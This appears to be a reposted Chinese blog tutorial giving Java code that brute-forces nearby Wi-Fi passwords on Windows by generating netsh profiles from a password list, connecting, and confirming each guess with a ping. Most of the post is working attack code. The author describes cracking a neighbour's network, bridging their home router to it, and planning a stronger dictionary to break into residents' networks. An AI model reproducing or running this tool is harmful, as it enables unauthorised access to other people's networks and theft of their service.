本文实例讲述了java编程实现暴力破解wifi密码的方法。分享给大家供大家参考,具体如下:
开始进入正题。在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置网卡。所以得把系统刻到u盘,然后用u盘启动。但是我现在穷得连一条内裤都没有了,哪来的u盘啊。于是就决定自己写,而且还得用java写,写了我还得在windows上运行。
一、准备工作
首先你得需要一台能连wifi的电脑,
然后你的电脑得支持java环境,
最后你周围得有无线网络。
ok,话不多说,说开撸,老夫就要开撸。于是网上找到了windows下cmd无线网络操作的相关命令。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
// 列出所有可用wifi netsh wlan show networks mode=bssid // 添加配置文件 netsh wlan add profile filename=file_name // 连接wifi netsh wlan connect name=ssid_name // 导出配置文件 netsh wlan export profile key=clear // 列出配置文件 netsh wlan show profile // 删除配置文件 netsh wlan delete profile name=file_name // 列出接口 netsh wlan show interface // 开启接口 netsh interface set interface "interface name" enabled |
首先需要写配置文件,方便待会使用。首先我们可以看看配置文件张啥样,导出配置文件看看就知道了。打开命令行,输入这我这篇文章中,主要会用到前四个命令,其他的命令就当给各位做拓展了。
1 |
netsh wlan export profile key=clear |
就导出了配置文件,注意,这儿的配置文件默认导出在cmd执行的当前路径,如下,
我导出的文件就在 c:\users\admin 下面,可以看到文件都是wifi.xml方式。如 tp-link_5410.xml ,随便打开一个我们可以看到xml文件的具体内容,但是有一些内容是我们不需要的,我们需要的是下面这个样子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
<?xml version= "1.0" ?> <wlanprofile xmlns= "http://HdhCmsTestmicrosoft测试数据/networking/wlan/profile/v1" > <name>ssid_name</name> <ssidconfig> <ssid> <name>ssid_name</name> </ssid> </ssidconfig> <connectiontype>ess</connectiontype> <connectionmode>auto</connectionmode> <msm> <security> <authencryption> <authentication>auth_type</authentication> <encryption>aes</encryption> <useonex> false </useonex> </authencryption> <sharedkey> <keytype>passphrase</keytype> < protected > false </ protected > <keymaterial>password</keymaterial> </sharedkey> </security> </msm> <macrandomization xmlns= "http://HdhCmsTestmicrosoft测试数据/networking/wlan/profile/v3" > <enablerandomization> false </enablerandomization> </macrandomization> </wlanprofile> |
二、扫描wifi
其中 ssid_name 是待会我们会用到的wifi名称, auth_type 是wifi的加密方式, password 是我们会暴力破解的密码变量。
ok,背景交代得差不多了,可以开干了。首先扫描附近的wifi,返回所有wifi的信息,包括ssid、加密方式、信号强度(信号太弱的,我们就不进行破解了,破解了也没啥用)。扫描其实就是执行一个cmd命令的问题,先封装一个cmd执行器吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
/** * 执行器 * * @param cmd cmd命令 * @param filepath 需要在哪个目录下执行 */ private static list<string> execute(string cmd, string filepath) { process process = null ; list<string> result = new arraylist<string>(); try { if (filepath != null ) { process = runtime.getruntime().exec(cmd, null , new file(filepath)); } else { process = runtime.getruntime().exec(cmd); } bufferedreader breader = new bufferedreader( new inputstreamreader(process.getinputstream(), "gbk" )); string line = null ; while ((line = breader.readline()) != null ) { result.add(line); } } catch (ioexception e) { e.printstacktrace(); } return result; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/** * 列出所有信号较好的ssid * * @return 所有ssid */ public static list<ssid> listssid() { list<ssid> ssidlist = new arraylist<ssid>(); string cmd = command.show_networks; list<string> result = execute(cmd, null ); if (result != null && result.size() > 0 ) { // todo 整合信息 } return ssidlist; } |
然后扫描周围wifi信息,并返回相关信息
三、生成配置文件
ok,接下来我们就可以开始针对每个不同的ssid生成不同的配置文件了,生成文件整个过程就是根据每个不同的密码生成一个配置文件。大概代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
/** * 配置文件生成器 */ public class profilegenerator { private string ssid = null ; private string passwrodpath = null ; private executorservice threadpool = executors.newfixedthreadpool( 4 ); public profilegenerator(string ssid, string passwrodpath) { this .ssid = ssid; this .passwrodpath = passwrodpath; } /** * 生成配置文件 */ public void genprofile() { list<string> passwordlist = null ; int counter = 0 ; outer: while ( true ) { int start = counter * connector.bath_size; int end = (counter + 1 ) * connector.bath_size - 1 ; passwordlist = fileutils.readline(passwrodpath, start, end); if (passwordlist != null && passwordlist.size() > 0 ) { // 生成配置文件 for (string password : passwordlist) { genthread genthread = new genthread(ssid, password); threadpool.execute(genthread); } } else { break outer; } counter++; } } } class genthread implements runnable { private string ssid = null ; private string password = null ; genthread(string ssid, string password) { this .ssid = ssid; this .password = password; } public void run() { string profilecontent = profile.profile.replace(profile.wifi_name, ssid); profilecontent = profilecontent.replace(profile.wifi_password, password); fileutils.writetofile(connector.profile_temp_path + "\\" + password + ".xml" , profilecontent); } } |
需要哪些密码可以自己现在网上找一些字典来跑,建议顺序是 常用弱口令 => 字典面 => 随机密码(到了随机密码这儿,意义也不大了)。这儿给出一个常见弱口令的 。反正我只用这个弱口令破解过一个wifi。这儿为了加快文件生成速度,我开启了多线程。个人实际感受,如果只是几千到几万个的话,其实多线程不多线程,并没有多大区别,真正的区别在于后面尝试连接的时候。
四、遍历校验配置文件
接下来就是最耗时的一步了,一个个密码去校验。关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
/** * 校验wlan配置文件是否正确 * <p> * 校验步骤为: * ---step1 添加配置文件 * ---step3 连接wifi * ---step3 ping校验 */ public synchronized boolean check(string ssid, string password) { system.out.println( "check : " + password); try { string profilename = password + ".xml" ; if (addprofile(profilename)) { if (connect(ssid)) { thread.sleep( 50 ); if (ping()) { return true ; } } } } catch (interruptedexception e) { e.printstacktrace(); } return false ; } /** * 添加配置文件 * * @param profilename 添加配置文件 */ private static boolean addprofile(string profilename) { string cmd = command.add_profile.replace( "file_name" , profilename); list<string> result = execute(cmd, connector.profile_temp_path); if (result != null && result.size() > 0 ) { if (result.get( 0 ).contains( "添加到接口" )) { return true ; } } return false ; } /** * 连接wifi * * @param ssid 添加配置文件 */ private static boolean connect(string ssid) { boolean connected = false ; string cmd = command.connect.replace( "ssid_name" , ssid); list<string> result = execute(cmd, null ); if (result != null && result.size() > 0 ) { if (result.get( 0 ).contains( "已成功完成" )) { connected = true ; } } return connected; } /** * ping 校验 */ private static boolean ping() { boolean pinged = false ; string cmd = "ping " + connector.ping_domain; list<string> result = execute(cmd, null ); if (result != null && result.size() > 0 ) { for (string item : result) { if (item.contains( "来自" )) { pinged = true ; break ; } } } return pinged; } |
两点释疑:
1. 为什么需要sleep(50)? 因为在连接后,电脑没有立即反应过来,此时去ping的话,就算密码正确,都会ping不成功。所以需要sleep。我破解的时候sleep(1000)的,还没测试50行不行。
2. 为什么需要ping网站? 因为在第二步连接的时候,不管有没有连接成功,都会出现 ‘已成功完成xx连接' 的字样。所以没办法,只有用ping来校验,不过我相信一定能够优化的。
这一步我开启了多线程,去验证,有人说为什么用多线程,明明验证方法都 synchronized 了,我想说的是,单线程的话,之间总会有间隙的,所以为了压榨那一点点时间,我用了多线程。
五、连接成功
ok,至此,为师已将毕生功力传授给你了,你出去就说是三年经验了。呸,说错了,至此,整个流程大概就已经出来了,接下来就run你的程序吧。等待密码的破解。
我一共在我家周围瞄上了三个信号看起来还可以的wifi。用这个程序跑了40多秒,开了一个wifi的密码 12345678。耶成功了终于可以用了。
然后根据密码,把自家路由器设置一个桥接模式。家里处处都有网了。
五、或者放弃
或者,你也可以放弃。愉快地用了一晚上过后,我第二天早上起来发现网断了,原来那个网不存在了,但是到了中午又有了。我估计是底商闭店了,就断电了,网就没了。
于是想要撬开一个住户的网,跑了两个看起来信号比较好的网络,都以失败告终!!!因为密码字典不够强大。网上下过几个字典生成器,都不能用。算了吧先凑合用着现在的网络,等我有空了,写个字典生成器,来撬开。
希望本文所述对大家java程序设计有所帮助。
原文链接:https://blog.csdn.net/hj7jay/article/details/83541627
查看更多关于Java编程实现暴力破解WIFI密码的方法分析的详细内容...